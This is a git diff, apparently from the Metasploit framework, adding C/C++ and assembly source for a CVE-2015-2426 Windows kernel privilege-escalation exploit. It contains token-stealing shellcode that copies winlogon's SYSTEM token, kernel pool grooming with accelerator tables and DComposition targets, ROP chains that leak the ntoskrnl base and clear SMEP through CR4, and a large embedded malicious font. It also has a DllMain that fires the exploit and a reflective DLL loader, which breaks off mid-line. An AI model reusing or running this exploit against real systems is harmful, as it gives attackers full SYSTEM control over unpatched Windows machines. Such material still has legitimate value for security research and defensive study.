b/external/source/exploits/CVE-2015-2426/dll/src/Exploiter.cpp new file mode 100755 index 0000000000..81fa6b3954 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/dll/src/Exploiter.cpp @@ -0,0 +1,320 @@ +#include +#include "Exploiter.h" + +static const int AccelArrayBase = 0x43000000; +static const int HwndArrayBase = 0x44000000; +static const int DcomArrayBase = 0x41000000; +static const int PayloadBase = 0x42000000; +// Not using const to make the compiler to store +// the variables in .data +static ULONGLONG win32kPopRaxRet = 0xdeedbeefdeedbe01; +static ULONGLONG win32kXchgRaxRsp = 0xdeedbeefdeedbe02; +static ULONGLONG win32kExAllocatePoolWithTag = 0xdeedbeefdeedbe03; +static ULONGLONG win32kPopRcxRet = 0xdeedbeefdeedbe04; +static ULONGLONG win32kDefRaxIntoRcx = 0xdeedbeefdeedbe05; +static ULONGLONG win32kWriteRaxIntoRcx = 0xdeedbeefdeedbe06; +static ULONGLONG win32kPopRbxRet = 0xdeedbeefdeedbe07; +static ULONGLONG win32kRet = 0xdeedbeefdeedbe08; +static ULONGLONG win32kMovRaxR11Ret = 0xdeedbeefdeedbe09; +static ULONGLONG win32kAddRaxRcxRet = 0xdeedbeefdeedbe0a; +static ULONGLONG win32kPopEspRet = 0xdeedbeefdeedbe0b; +static ULONGLONG win32kXchgRaxRspAdjust = 0xdeedbeefdeedbe0c; +static ULONGLONG win32kCHwndDelete = 0xdeedbeefdeedbe0d; +static ULONGLONG ntSetCr4 = 0xdeedbeefdeedbe0e; +static ULONGLONG ntExAllocatePoolWithTag = 0xdeedbeefdeedbe0f; + +typedef NTSTATUS(__stdcall *FuncCreateDCompositionHwndTarget) ( + _In_ HANDLE hWnd, + _In_ DWORD dwNum, + _Out_ ULONGLONG pMem + ); + +typedef NTSTATUS(__stdcall *FuncDestroyDCompositionHwndTarget) ( + _In_ HANDLE hWnd, + _In_ DWORD dwNum + ); + +typedef LRESULT(WINAPI *FuncDefWindowProcA) ( + _In_ HWND hWnd, + _In_ UINT Msg, + _In_ WPARAM wParam, + _In_ LPARAM lParam + ); + +static CHAR sc[] = { + '\x4D', '\x8B', '\xBB', '\x68', '\x01', '\x00', '\x00', // mov r15, [r11+0x168], save return address of kernel stack + '\x41', '\x51', // push r9 save regs + '\x41', '\x52', // push r10 + '\x65', '\x4C', '\x8B', '\x0C', '\x25', '\x88', '\x01', '\x00', '\x00', // mov r9, gs:[0x188], get _ETHREAD from KPCR (PRCB @ 0x180 from KPCR, _ETHREAD @ 0x8 from PRCB) + '\x4D', '\x8B', '\x89', '\xB8', '\x00', '\x00', '\x00', // mov r9, [r9+0xb8], get _EPROCESS from _ETHREAD + '\x4D', '\x89', '\xCA', // mov r10, r9 save current eprocess + '\x4D', '\x8B', '\x89', '\x40', '\x02', '\x00', '\x00', // mov r9, [r9+0x240] $a, get blink + '\x49', '\x81', '\xE9', '\x38', '\x02', '\x00', '\x00', // sub r9, 0x238 => _KPROCESS + '\x41', '\x81', '\xB9', '\x38', '\x04', '\x00', '\x00', '\x77', '\x69', '\x6E', '\x6C', // cmp [r9+0x438], 0x6c6e6977 does ImageName begin with 'winl' (winlogon) + '\x75', '\xe5', // jnz $a no? then keep searching! + '\x4D', '\x8B', '\xA1', '\xE0', '\x02', '\x00', '\x00', // mov r12, [r9+0x2e0] get pid + '\x48', '\xC7', '\xC0', '\x00', '\x10', '\x00', '\x42', // mov rax, 0x42001000 + '\x4C', '\x89', '\x20', // mov [rax], r12 save pid for use later + '\x4D', '\x8B', '\x89', '\x48', '\x03', '\x00', '\x00', // mov r9, [r9+0x348] get token + '\x49', '\x83', '\xE1', '\xF0', // and r9, 0xfffffffffffffff0 get SYSTEM token's address + '\x49', '\x83', '\x41', '\xD0', '\x0A', // add [r9-0x30], 0x10 increment SYSTEM token's reference count by 0x10 + '\x4D', '\x89', '\x8A', '\x48', '\x03', '\x00', '\x00', // mov [r10+0x348], r9 replace our token with system token + '\x41', '\x5A', // pop r10 restore regs + '\x41', '\x59', // pop r9 + '\x41', '\x53', // push r11, pointer near to original stack + '\x5C', // pop rsp + '\x48', '\x83', '\xec', '\x28', // sub rsp, 0x28, restore original kernel rsp + '\xFF', '\x24', '\x25', '\x70', '\x50', '\x00', '\x42', // jmp [0x42005070], continue on to delete the object CHwndTargetProp::Delete(void) + 0 +}; +static HWND *pHwnds = NULL; +static HACCEL *pAccels = NULL; +static FuncCreateDCompositionHwndTarget MyCreateDCompositionHwndTarget = NULL; +static FuncDestroyDCompositionHwndTarget MyDestroyDCompositionHwndTarget = NULL; + + +// WndProc is a callback function that is needed when creating a window. +// It does nothing of consequence. However, the exploit relies on overriding +// a suitable object (`CreateDCompositionHwndTarget`), which requires a +// window. Hence we need to create windows. +LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) { + FuncDefWindowProcA MyDefWindowProcA; + ULONGLONG pMyDefWindowProcA; + + pMyDefWindowProcA = *(ULONGLONG *)(PayloadBase + 0x1950); + MyDefWindowProcA = (FuncDefWindowProcA)pMyDefWindowProcA; + return MyDefWindowProcA(hwnd, msg, wParam, lParam); +} + +VOID ExploiterInit() { + LoadLibrary("USER32.dll"); + HMODULE user32 = GetModuleHandle("USER32.dll"); + MyCreateDCompositionHwndTarget = (FuncCreateDCompositionHwndTarget)GetProcAddress(user32, "CreateDCompositionHwndTarget"); + MyDestroyDCompositionHwndTarget = (FuncDestroyDCompositionHwndTarget)GetProcAddress(user32, "DestroyDCompositionHwndTarget"); + // Allocate memory regions that we use to store various data. + VirtualAlloc((LPVOID)DcomArrayBase, 0x2000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + VirtualAlloc((LPVOID)PayloadBase, 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + SecureZeroMemory((LPVOID)PayloadBase, 0x10000); + memcpy((LPVOID)PayloadBase, sc, sizeof(sc)); + + // Save the function pointer of DefWindowProcA globally while we are still in user-mode. + // The callback (WndProc) that runs in kernel mode later cannot call `GetProcAddressWithHash` + // any more. Hence, we store this first, so that WndProc can access it directly later. + ULONGLONG *pDefWindowProcA = (ULONGLONG *)(PayloadBase + 0x1950); + *pDefWindowProcA = (ULONGLONG)GetProcAddress(user32, "DefWindowProcA"); // ntdll's DefWindowProcA's hash +} + +VOID ExploiterDoFengShui() { + HINSTANCE hThisInstance; + ATOM classAtom; + WNDCLASSEXA windowClass; + HWND hWnd; + HACCEL hAccel; + LPACCEL lpAccel; + // Strings needed. + CHAR winClass[] = { 'w', 'i', 'n', 'c', 'l', 's', '0', '0', '0', '0', 0 }; + CHAR winClassFmt[] = { 'w', 'i', 'n', 'c', 'l', 's', '%', '0', '4', 'x', 0 }; + CHAR winTitle[] = { 'w', 'i', 'n', 't', 'i', 't', '0', '0', '0', '0', 0 }; + CHAR winTitleFmt[] = { 'w', 'i', 'n', 't', 'i', 't', '%', '0', '4', 'x', 0 }; + + // Initial setup for pool fengshui. + lpAccel = (LPACCEL)malloc(sizeof(ACCEL)); + SecureZeroMemory(lpAccel, sizeof(ACCEL)); + + // Create many accelerator tables, and store them. + pAccels = (HACCEL *)VirtualAlloc((LPVOID)(AccelArrayBase), sizeof(HACCEL)* 5000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + for (INT i = 0; i < 5000; i++) { + hAccel = CreateAcceleratorTableA(lpAccel, 1); + pAccels[i] = hAccel; + } + + // Create window handles, and store them. + pHwnds = (HWND *)VirtualAlloc((LPVOID)(HwndArrayBase), sizeof(HWND)* 1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + hThisInstance = GetModuleHandleA(NULL); + for (INT i = 0; i < 1000; i++) { + SecureZeroMemory(&windowClass, sizeof(WNDCLASSEXA)); + wsprintfA(winClass, winClassFmt, i); + wsprintfA(winTitle, winTitleFmt, i); + + windowClass.cbSize = sizeof(WNDCLASSEXA); + windowClass.style = CS_HREDRAW | CS_VREDRAW; + windowClass.lpfnWndProc = (WNDPROC)WndProc; + windowClass.hInstance = hThisInstance; + windowClass.hIcon = NULL; + windowClass.hCursor = NULL; + windowClass.hbrBackground = (HBRUSH)COLOR_WINDOW; + windowClass.lpszMenuName = NULL; + windowClass.lpszClassName = winClass; + classAtom = RegisterClassExA(&windowClass); + hWnd = CreateWindowEx(0, MAKEINTATOM(classAtom), winTitle, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hThisInstance, NULL); + + if (hWnd) { + pHwnds[i] = hWnd; + } + else { + break; + } + } + + // Create holes in the series of accelerator tables. + for (INT i = 3600; i < 4600; i += 2) { + DestroyAcceleratorTable(pAccels[i]); + } + + // Fill the holes with with DCompositionHwndTarget(s). + // (at this point we have a series of alternating DCompositionHwndTarget objects) + for (INT i = 0; i < 500; i++) { + MyCreateDCompositionHwndTarget(pHwnds[i], 0, DcomArrayBase + i * 4); + } + + // Create "adjacent" holes (to the previous holes) in the series of + // accelerator tables. + for (INT i = 3601; i < 4601; i += 2) { + DestroyAcceleratorTable(pAccels[i]); + } + + // Fill the holes with with DCompositionHwndTarget(s). + // (at this point we have a contiguous series of DCompositionHwndTarget objects) + for (INT i = 500; i < 1000; i++) { + MyCreateDCompositionHwndTarget(pHwnds[i], 0, DcomArrayBase + i * 4); + } + + // Create some holes in the contiguous series of DCompositionHwndTarget objects, + // that we insert the vulnerable object into. + for (INT i = 400; i < 405; i++) { + MyDestroyDCompositionHwndTarget(pHwnds[i], 0); + } +} + +// Clean up for the heap fengshui performed earlier (for cleanliness, reliability). +VOID ExpoiterCleanUp() { + for (INT i = 0; i < 5000; i++) { + DestroyAcceleratorTable(pAccels[i]); + } +} + +// Setup stack pivot and adjustment, also the ROP chain 1 to etrieve base address +// of `ntoskrnl`. +VOID ExploiterSetupFirstChain(ULONGLONG win32kBaseAddr) { + // Stack pivot and adjustment. + // + // IMPORTANT NOTE. + // + // This vTable is actually accessed twice as part of the code flow. + // The first access is to the 2nd method in the vTable, at [RAX+8] (*). + // The second access is to the 1st method in the vTable, at [RAX] (**). + // + // (*) First access + // + // As mentioned, in the code flow, there is a CALL [RAX+8], where RAX is the + // address of the fake vTable (0x42005000). + // + // The call places us at [0x42005000+8], which is the xchg instruction + // (stack pivot). At this point after the xchg, RSP is pointing to 0x42005000. + // The next instruction of the gadget is RET, which will exec. POP RAX. + // This sequence (RET + POP) shifts RSP by a total of 16 bytes, which is the + // start of ROP chain 1. + // + *(ULONGLONG *)(PayloadBase + 0x5000) = win32kBaseAddr + win32kPopRaxRet; // pop rax # ret <-- RAX + *(ULONGLONG *)(PayloadBase + 0x5008) = win32kBaseAddr + win32kXchgRaxRsp; // xchg rax, rsp # ret (pivot) <-- this is where (1st) CALL jumps to. + // + // --- End stack pivot and adjustment --- + + // ROP chain 1: Retrieve base address of `ntoskrnl`. + // + // When ROP chain 1 exits, RBX will hold the address of the our + // (fake) vTable. And 0x42000100 will hold the (leaked) address of + // `ntoskrnl!ExAllocatePoolWithTag`. + // + *(ULONGLONG *)(PayloadBase + 0x5010) = win32kBaseAddr + win32kPopRaxRet; // pop rax # ret (RAX is source for our write) + *(ULONGLONG *)(PayloadBase + 0x5018) = win32kBaseAddr + win32kExAllocatePoolWithTag; // pop into rax (pointer to leaked address of `ntoskrnl!ExAllocatePoolWithTag` that win32k imports) + *(ULONGLONG *)(PayloadBase + 0x5020) = win32kBaseAddr + win32kPopRcxRet; // pop rcx # ret (RCX is destination for our write) + *(ULONGLONG *)(PayloadBase + 0x5028) = PayloadBase + 0x100; // pop into rcx (memory to write leaked address) + *(ULONGLONG *)(PayloadBase + 0x5030) = win32kBaseAddr + win32kDefRaxIntoRcx; // mov rax, [rax] # mov [rcx], rax # ret (write gadget to [RCX]) + + // (**) Second access + // + // The second time the vTable is accessed (described above), it will + // try to execute `POP RAX # RET`, which is undesirable. Hence, as part of + // the *first* ROP chain, we override the vTable again, so that the second + // access to it will be okay. + // + // When the code flow resumes after ROP chain 1 ends, the code will + // use *RBX for its second access to the vTable. Hence, we want to + // place our own value into RBX. Therefore, we `POP RBX`, which places + // 0x42005100 into RBX. 0x42005100 is yet another (unused) memory + // region that we control. We will construct a new fake vTable at 0x42005100. + // + *(ULONGLONG *)(PayloadBase + 0x5038) = win32kBaseAddr + win32kPopRbxRet; // pop rbx # ret + *(ULONGLONG *)(PayloadBase + 0x5040) = PayloadBase + 0x5100; // this will clobber the existing vTable object pointer (RBX) ------------------------------- + // | + // Setup the new fake vTable at 0x42005100. We don't do anything interesting | + // with the second call. We just want it to return nicely. | + *(ULONGLONG *)(PayloadBase + 0x5100) = PayloadBase + 0x5110; // double-dereference to get to gadget (actual ROP chain | + *(ULONGLONG *)(PayloadBase + 0x5108) = PayloadBase + 0x5110; // (arbitrary pointer to pointer) continues here) | + *(ULONGLONG *)(PayloadBase + 0x5110) = win32kBaseAddr + win32kRet; // (`RET` gadget) | + // | + // Resume execution. Restore original stack pointer. | + *(ULONGLONG *)(PayloadBase + 0x5048) = win32kBaseAddr + win32kMovRaxR11Ret; // mov rax, r11 # ret (register holding a value close to original stack pointer) <- + *(ULONGLONG *)(PayloadBase + 0x5050) = win32kBaseAddr + win32kPopRcxRet; // pop rcx # ret + *(ULONGLONG *)(PayloadBase + 0x5058) = 0x8; // pop into rcx + *(ULONGLONG *)(PayloadBase + 0x5060) = win32kBaseAddr + win32kAddRaxRcxRet; // add rax, rcx # ret (adjust the stack pointer) + *(ULONGLONG *)(PayloadBase + 0x5068) = win32kBaseAddr + win32kPopRcxRet; // pop rcx # ret + *(ULONGLONG *)(PayloadBase + 0x5070) = PayloadBase + 0x5088; // pop into rcx + *(ULONGLONG *)(PayloadBase + 0x5078) = win32kBaseAddr + win32kWriteRaxIntoRcx; // mov [rcx], rax # ret (write gadget to [RCX])-- + *(ULONGLONG *)(PayloadBase + 0x5080) = win32kBaseAddr + win32kPopEspRet; // pop rsp # ret | + //*(ULONGLONG *)(PayloadBase + 0x5088) <---------------------------------------------------------------------------------------- +} + +// Setup the ROP chain 2, Disable SMEP and return to token stealing shellcode. +// Now we reset the values in our fake vTable (0x42005000), with a new +// ROP chain. This gets called later in the second trigger. +VOID ExploiterSetupSecondChain(ULONGLONG win32kBaseAddr, ULONGLONG ntBaseAddr) { + *(ULONGLONG *)(PayloadBase + 0x5000) = win32kBaseAddr + win32kXchgRaxRspAdjust; // xchg eax, esp # sbb al, 0 # mov eax, ebx # add rsp, 0x20 # pop rbx # ret + *(ULONGLONG *)(PayloadBase + 0x5008) = win32kBaseAddr + win32kRet; // filler + *(ULONGLONG *)(PayloadBase + 0x5010) = win32kBaseAddr + win32kRet; // filler + *(ULONGLONG *)(PayloadBase + 0x5018) = win32kBaseAddr + win32kRet; // filler + *(ULONGLONG *)(PayloadBase + 0x5020) = win32kBaseAddr + win32kRet; // filler + *(ULONGLONG *)(PayloadBase + 0x5028) = win32kBaseAddr + win32kPopRaxRet; // pop rax # ret + *(ULONGLONG *)(PayloadBase + 0x5030) = 0x406f8; // pop into rax, cr4 value + *(ULONGLONG *)(PayloadBase + 0x5038) = ntBaseAddr + ntSetCr4; // mov cr4, rax # add rsp, 0x28 # ret (SMEP disabling gadget) + *(ULONGLONG *)(PayloadBase + 0x5040) = win32kBaseAddr + win32kRet; // filler + *(ULONGLONG *)(PayloadBase + 0x5048) = win32kBaseAddr + win32kRet; // filler + *(ULONGLONG *)(PayloadBase + 0x5050) = win32kBaseAddr + win32kRet; // filler + *(ULONGLONG *)(PayloadBase + 0x5058) = win32kBaseAddr + win32kRet; // filler + *(ULONGLONG *)(PayloadBase + 0x5060) = win32kBaseAddr + win32kRet; // filler + *(ULONGLONG *)(PayloadBase + 0x5068) = PayloadBase; // return to userland and win! + *(ULONGLONG *)(PayloadBase + 0x5070) = win32kBaseAddr + win32kCHwndDelete; // CHwndTargetProp::Delete(void) +} + +// First trigger (ROP chain 1) +// +// When `DestroyDCompositionHwndTarget` is called, it will destroy the object +// by calling its destructor, which will make use of the overwritten vTable +// pointer. This, we abuse, to call ROP chain 1. ROP chain 1 leaks the address +// of `ntoskrnl!ExAllocatePoolWithTag`. +VOID ExploiterRunFirstChain() { + for (INT i = 0; i < 1000; i++) { + MyDestroyDCompositionHwndTarget(pHwnds[i], 0); + } +} + +// Second trigger (ROP chain 2) +// +// When `DestroyWindow` is called, it will attempt to find any dangling +// references to the window. Because the "first trigger" did not properly +// destroy the `DCompositionHwndTarget` object (which has a reference to +// the window), `DestroyWindow` will try, again, to call the destructor +// for the `DCompositionHwndTarget` object. Hence, the same destructor is +// called. But because we have already re-setup the vTable, it calls +// ROP chain 2. +VOID ExploiterRunSecondChain() { + for (INT i = 0; i < 1000; i++) { + DestroyWindow(pHwnds[i]); + } +} + +// Compute actual base address of `ntoskrnl` from `ntoskrnl!ExAllocatePoolWithTag`. +ULONGLONG ExploiterGetNtBase() { + return *(ULONGLONG *)(PayloadBase + 0x100) - ntExAllocatePoolWithTag; +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/dll/src/Exploiter.h b/external/source/exploits/CVE-2015-2426/dll/src/Exploiter.h new file mode 100755 index 0000000000..36749e3dfd --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/dll/src/Exploiter.h @@ -0,0 +1,12 @@ +#ifndef EXPLOITER_H +#define EXPLOITER_H + +VOID ExploiterInit(); +VOID ExploiterDoFengShui(); +VOID ExploiterSetupFirstChain(ULONGLONG); +VOID ExploiterSetupSecondChain(ULONGLONG, ULONGLONG); +VOID ExploiterRunFirstChain(); +VOID ExploiterRunSecondChain(); +VOID ExpoiterCleanUp(); +ULONGLONG ExploiterGetNtBase(); +#endif \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/dll/src/FontData.cpp b/external/source/exploits/CVE-2015-2426/dll/src/FontData.cpp new file mode 100755 index 0000000000..f97e6c53f5 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/dll/src/FontData.cpp @@ -0,0 +1,98155 @@ +#include +#include "FontData.h" + +const UCHAR fontData[785196] = { + 0x4F, 0x54, 0x54, 0x4F, 0x00, 0x0E, 0x00, 0x80, + 0x00, 0x03, 0x00, 0x60, 0x42, 0x41, 0x53, 0x45, + 0x64, 0xBE, 0x5C, 0xE6, 0x00, 0x0A, 0xBA, 0xF8, + 0x00, 0x00, 0x00, 0x88, 0x43, 0x46, 0x46, 0x20, + 0x32, 0x45, 0xEB, 0x1E, 0x00, 0x00, 0x0D, 0xB4, + 0x00, 0x0A, 0x00, 0x90, 0x46, 0x46, 0x54, 0x4D, + 0x5D, 0xFD, 0x92, 0xD6, 0x00, 0x0A, 0xBA, 0xDC, + 0x00, 0x00, 0x00, 0x1C, 0x47, 0x44, 0x45, 0x46, + 0x1B, 0x3E, 0x7A, 0xD4, 0x00, 0x0A, 0x0E, 0x44, + 0x00, 0x00, 0x00, 0xA4, 0x47, 0x50, 0x4F, 0x53, + 0x3E, 0xBC, 0x52, 0x21, 0x00, 0x0A, 0x2E, 0x28, + 0x00, 0x00, 0x8C, 0xB4, 0x47, 0x53, 0x55, 0x42, + 0xEA, 0x7E, 0xFC, 0x48, 0x00, 0x0A, 0x0E, 0xE8, + 0x00, 0x00, 0x1F, 0x3E, 0x4F, 0x53, 0x2F, 0x32, + 0x5F, 0xB8, 0xD2, 0x3F, 0x00, 0x00, 0x01, 0x50, + 0x00, 0x00, 0x00, 0x60, 0x63, 0x6D, 0x61, 0x70, + 0xE2, 0x2A, 0x7C, 0x2C, 0x00, 0x00, 0x0A, 0x84, + 0x00, 0x00, 0x03, 0x0E, 0x68, 0x65, 0x61, 0x64, + 0xFF, 0xB7, 0xAF, 0x0B, 0x00, 0x00, 0x00, 0xEC, + 0x00, 0x00, 0x00, 0x36, 0x68, 0x68, 0x65, 0x61, + 0x03, 0xB5, 0xFF, 0xAB, 0x00, 0x00, 0x01, 0x24, + 0x00, 0x00, 0x00, 0x24, 0x68, 0x6D, 0x74, 0x78, + 0x00, 0xAC, 0x00, 0x00, 0x00, 0x0A, 0xBB, 0x80, + 0x00, 0x01, 0x3F, 0xAC, 0x6D, 0x61, 0x78, 0x70, + 0x9F, 0xD4, 0x50, 0x00, 0x00, 0x00, 0x01, 0x48, + 0x00, 0x00, 0x00, 0x06, 0x6E, 0x61, 0x6D, 0x65, + 0x7F, 0xCA, 0x88, 0xA0, 0x00, 0x00, 0x01, 0xB0, + 0x00, 0x00, 0x08, 0xD3, 0x70, 0x6F, 0x73, 0x74, + 0xFF, 0xAC, 0x00, 0x33, 0x00, 0x00, 0x0D, 0x94, + 0x00, 0x00, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, + 0x00, 0x02, 0x07, 0xAE, 0x4A, 0x95, 0xC6, 0xBD, + 0x5F, 0x0F, 0x3C, 0xF5, 0x02, 0x8B, 0x03, 0xE8, + 0x00, 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b/external/source/exploits/CVE-2015-2426/dll/src/FontData.h new file mode 100755 index 0000000000..82b244f129 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/dll/src/FontData.h @@ -0,0 +1,5 @@ +#ifndef FONTDATA_H +#define FONTDATA_H + +extern const UCHAR fontData[785196]; +#endif \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/dll/src/MySyscalls.asm b/external/source/exploits/CVE-2015-2426/dll/src/MySyscalls.asm new file mode 100755 index 0000000000..e6ff9c0578 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/dll/src/MySyscalls.asm @@ -0,0 +1,10 @@ +.code + +MyGetTextMetricsW PROC + mov r10, rcx + mov eax, 4214 + syscall + ret +MyGetTextMetricsW ENDP + +END \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/dll/src/ReflectiveDll.c b/external/source/exploits/CVE-2015-2426/dll/src/ReflectiveDll.c new file mode 100755 index 0000000000..2fca8e42b3 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/dll/src/ReflectiveDll.c @@ -0,0 +1,35 @@ +//===============================================================================================// +// This is a stub for the actuall functionality of the DLL. +//===============================================================================================// +#include "ReflectiveLoader.h" + +// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are +// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own +// DllMain and use the LoadRemoteLibraryR() API to inject this DLL. + +// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c) +extern HINSTANCE hAppInstance; +//===============================================================================================// + +#include "Exploit.h" + +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + BOOL bReturnValue = TRUE; + switch( dwReason ) + { + case DLL_QUERY_HMODULE: + if( lpReserved != NULL ) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + Exploit(lpReserved); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/dll/src/ReflectiveLoader.c b/external/source/exploits/CVE-2015-2426/dll/src/ReflectiveLoader.c new file mode 100755 index 0000000000..49bfdd4245 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/dll/src/ReflectiveLoader.c @@ -0,0 +1,599 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "ReflectiveLoader.h" +//===============================================================================================// +// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value +HINSTANCE hAppInstance = NULL; +//===============================================================================================// +#pragma intrinsic( _ReturnAddress ) +// This function can not be inlined by the compiler or we will not get the address we expect. Ideally +// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of +// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics +// available (and no inline asm available under x64). +__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } +//===============================================================================================// + +#ifdef ENABLE_OUTPUTDEBUGSTRING +#define OUTPUTDBG(str) pOutputDebug((LPCSTR)str) +#else /* ENABLE_OUTPUTDEBUGSTRING */ +#define OUTPUTDBG(str) do{}while(0) +#endif + +// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, +// otherwise the DllMain at the end of this file will be used. + +// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, +// otherwise it is assumed you are calling the ReflectiveLoader via a stub. + +// This is our position independent reflective DLL loader/injector +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) +#else +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) +#endif +{ + // the functions we need + LOADLIBRARYA pLoadLibraryA = NULL; + GETPROCADDRESS pGetProcAddress = NULL; + VIRTUALALLOC pVirtualAlloc = NULL; + NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; +#ifdef ENABLE_STOPPAGING + VIRTUALLOCK pVirtualLock = NULL; +#endif +#ifdef ENABLE_OUTPUTDEBUGSTRING + OUTPUTDEBUG pOutputDebug = NULL; +#endif + + USHORT usCounter; + + // the initial location of this image in memory + ULONG_PTR uiLibraryAddress; + // the kernels base address and later this images newly loaded base address + ULONG_PTR uiBaseAddress; + + // variables for processing the kernels export table + ULONG_PTR uiAddressArray; + ULONG_PTR uiNameArray; + ULONG_PTR uiExportDir; + ULONG_PTR uiNameOrdinals; + DWORD dwHashValue; + + // variables for loading this image + ULONG_PTR uiHeaderValue; + ULONG_PTR uiValueA; + ULONG_PTR uiValueB; + ULONG_PTR uiValueC; + ULONG_PTR uiValueD; + ULONG_PTR uiValueE; + + // STEP 0: calculate our images current base address + + // we will start searching backwards from our callers return address. + uiLibraryAddress = caller(); + + // loop through memory backwards searching for our images base address + // we dont need SEH style search as we shouldnt generate any access violations with this + while( TRUE ) + { + if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) + { + uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), + // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. + if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) + { + uiHeaderValue += uiLibraryAddress; + // break if we have found a valid MZ/PE header + if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) + break; + } + } + uiLibraryAddress--; + } + + // STEP 1: process the kernels exports for the functions our loader needs... + + // get the Process Enviroment Block +#ifdef _WIN64 + uiBaseAddress = __readgsqword( 0x60 ); +#else +#ifdef WIN_ARM + uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); +#else _WIN32 + uiBaseAddress = __readfsdword( 0x30 ); +#endif +#endif + + // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx + uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; + + // get the first entry of the InMemoryOrder module list + uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; + while( uiValueA ) + { + // get pointer to current modules name (unicode string) + uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; + // set bCounter to the length for the loop + usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; + // clear uiValueC which will store the hash of the module name + uiValueC = 0; + + // compute the hash of the module name... + do + { + uiValueC = ror( (DWORD)uiValueC ); + // normalize to uppercase if the module name is in lowercase + if( *((BYTE *)uiValueB) >= 'a' ) + uiValueC += *((BYTE *)uiValueB) - 0x20; + else + uiValueC += *((BYTE *)uiValueB); + uiValueB++; + } while( --usCounter ); + + // compare the hash with that of kernel32.dll + if( (DWORD)uiValueC 